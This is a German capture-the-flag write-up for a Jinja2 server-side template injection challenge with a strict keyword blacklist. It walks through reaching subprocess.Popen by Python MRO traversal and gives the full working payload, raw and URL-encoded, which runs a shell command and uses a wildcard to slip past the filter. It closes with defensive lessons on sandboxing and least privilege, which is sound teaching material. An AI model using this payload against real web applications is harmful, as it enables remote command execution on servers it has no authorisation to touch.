6.2 KiB
Render Me This (One More Time)
Willkommen zum Write-up für Render Me This (One More Time). Dies ist die Fortsetzung der vorherigen SSTI-Challenge, mit "verbesserten" Sicherheitsfiltern.
Wir haben erneut die Aufgabe, eine Server-Side Template Injection (SSTI) Schwachstelle auszunutzen, um die Flagge zu lesen, aber dieses Mal müssen wir eine strenge Blacklist umgehen, die die meisten Standard-Angriffsvektoren blockiert.
1. Erste Erkundung
Die Challenge ist identisch mit der vorherigen, aber mit einer neuen Beschreibung:
"Wir haben unsere Sicherheitsfilter aktualisiert. Wir haben erkannt, dass es eine schlechte Idee war, Leute Dinge importieren zu lassen, also haben wir alle gefährlichen Schlüsselwörter verbannt."
Dies impliziert, dass unser vorheriger Payload (der import, os und popen verwendete) blockiert wird.
2. Quellcode-Analyse
Untersuchen wir die neue app.py, um die Einschränkungen zu sehen:
BLACKLIST = [
"import", "os", "system", "popen", "flag", "config", "eval", "exec",
"request", "url_for", "self", "g", "process",
"+", "~", "%", "format", "join", "chr", "ascii"
]
Dies ist eine heftige Blacklist.
- Keine globalen Objekte: Wir können
request,url_foroderselfnicht verwenden, um auf den globalen Geltungsbereich (__globals__) zuzugreifen. - Keine String-Konstruktion: Wir können
+oderjoinnicht verwenden, um Keyword-Filter zu umgehen (z.B.'o'+'s'wird blockiert). - Keine Formatierung: Wir können keine String-Formatierungstricks verwenden.
Dies zwingt uns, einen Weg zu finden, Code auszuführen, indem wir nur die Objekte verwenden, die bereits im Template-Kontext verfügbar sind (wie Strings "" oder Listen []), und deren Vererbungshierarchie durchlaufen.
3. Die Schwachstelle: MRO Traversal
In Python hat jedes Objekt eine Method Resolution Order (MRO), die die Klassenhierarchie definiert. Wir können dies zu unserem Vorteil nutzen, um auf mächtige Klassen zuzugreifen, ohne etwas importieren zu müssen.
Schritt 1: Zugriff auf das Basisobjekt
Wir beginnen mit einer einfachen leeren Liste []. In Python ist [] eine Instanz der Klasse list.
{{ [].__class__ }} --> <class 'list'>
Von der list-Klasse können wir eine Ebene höher zu ihrer Elternklasse gehen, welche object ist.
{{ [].__class__.__base__ }} --> <class 'object'>
Schritt 2: Auflisten aller Unterklassen
Die object-Klasse ist die Wurzel aller Klassen in Python. Entscheidend ist, dass sie eine Methode namens __subclasses__() hat, die eine Liste aller einzelnen Klassen zurückgibt, die derzeit in der Anwendung geladen sind.
{{ [].__class__.__base__.__subclasses__() }}
Wenn Sie diesen Payload in die URL injizieren (?name={{[].__class__.__base__.__subclasses__()}}), zeigt die Seite eine riesige Liste von Klassen an wie:
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, ... <class 'subprocess.Popen'>, ...]
Schritt 3: Finden von subprocess.Popen
Wir müssen den Index der Klasse subprocess.Popen in dieser Liste finden. Diese Klasse ermöglicht es uns, neue Prozesse zu starten und Systembefehle auszuführen.
Sie können die Ausgabe von der Webseite in einen Texteditor kopieren und nach "subprocess.Popen" suchen. Alternativ können Sie ein kleines Skript schreiben, um den Index lokal zu finden (wenn Sie dieselbe Umgebung haben).
In dieser spezifischen Challenge-Umgebung befindet sich subprocess.Popen am Index 361.
(Hinweis: Wenn 361 nicht funktioniert, müssen Sie möglicherweise umliegende Zahlen wie 360 oder 362 ausprobieren, da der Index je nach Python-Version und installierten Bibliotheken leicht variieren kann).
Schritt 4: Instanziierung von Popen
Jetzt, da wir die Klasse haben (bei Index 361), können wir sie instanziieren, genau wie beim Aufruf einer Funktion. Wir wollen einen Shell-Befehl ausführen.
Der Popen-Konstruktor nimmt einen Befehl als Liste oder String entgegen. Wir müssen auch shell=True setzen, um Shell-Befehle auszuführen, und stdout=-1, um die Ausgabe zu erfassen.
...[361]('command', shell=True, stdout=-1)
Schritt 5: Umgehung des "flag"-Filters
Wir wollen cat flag.txt ausführen. Das Wort "flag" steht jedoch auf der BLACKLIST.
Wir können dies leicht mit einem Shell-Wildcard umgehen: cat fl*.
Die Shell wird fl* automatisch zu flag.txt erweitern.
Unser Befehl lautet also: 'cat fl*'
Schritt 6: Lesen der Ausgabe
Das Popen-Objekt erstellt einen Prozess, gibt aber die Ausgabe nicht direkt zurück. Wir müssen die Methode .communicate() auf dem erstellten Prozessobjekt aufrufen. Diese Methode wartet darauf, dass der Befehl beendet ist, und gibt ein Tupel zurück, das (stdout, stderr) enthält.
4. Der finale Payload
Wenn wir alles zusammenfügen, konstruieren wir die vollständige Injection:
- Beginne mit einer Liste:
[] - Hole die
object-Klasse:.__class__.__base__ - Hole alle Unterklassen:
.__subclasses__() - Wähle
subprocess.Popen:[361] - Instanziiere mit Befehl:
('cat fl*', shell=True, stdout=-1) - Hole Ausgabe:
.communicate()
Finaler Payload:
{{ [].__class__.__base__.__subclasses__()[361]('cat fl*', shell=True, stdout=-1).communicate() }}
Kodierte URL:
?name={{[].__class__.__base__.__subclasses__()[361]('cat%20fl*',shell=True,stdout=-1).communicate()}}
5. Die Lösung
Senden Sie die kodierte URL an den Server. Die Seite rendert die Ausgabe des Befehls und enthüllt die Flagge.
Flag: {flag:MRO_Trav3rsal_Is_The_Way_To_Go}
Gelernte Lektionen
- Blacklisting ist zwecklos: Selbst mit strengen Filtern, die globale Objekte und String-Manipulation blockieren, ermöglicht die grundlegende Natur des Python-Objektmodells die Codeausführung via MRO Traversal.
- Sandboxing ist schwer: Wenn Sie von Benutzern eingereichten Code/Templates zulassen müssen, benötigen Sie eine robuste Sandbox (wie das Entfernen von
__subclasses__oder die Verwendung einer sicheren Template-Engine wie Jinja2sSandboxedEnvironment), nicht nur einen Wortfilter. - Least Privilege: Stellen Sie sicher, dass die Webanwendung mit minimalen Berechtigungen läuft, damit der Schaden begrenzt bleibt, selbst wenn eine Codeausführung erreicht wird.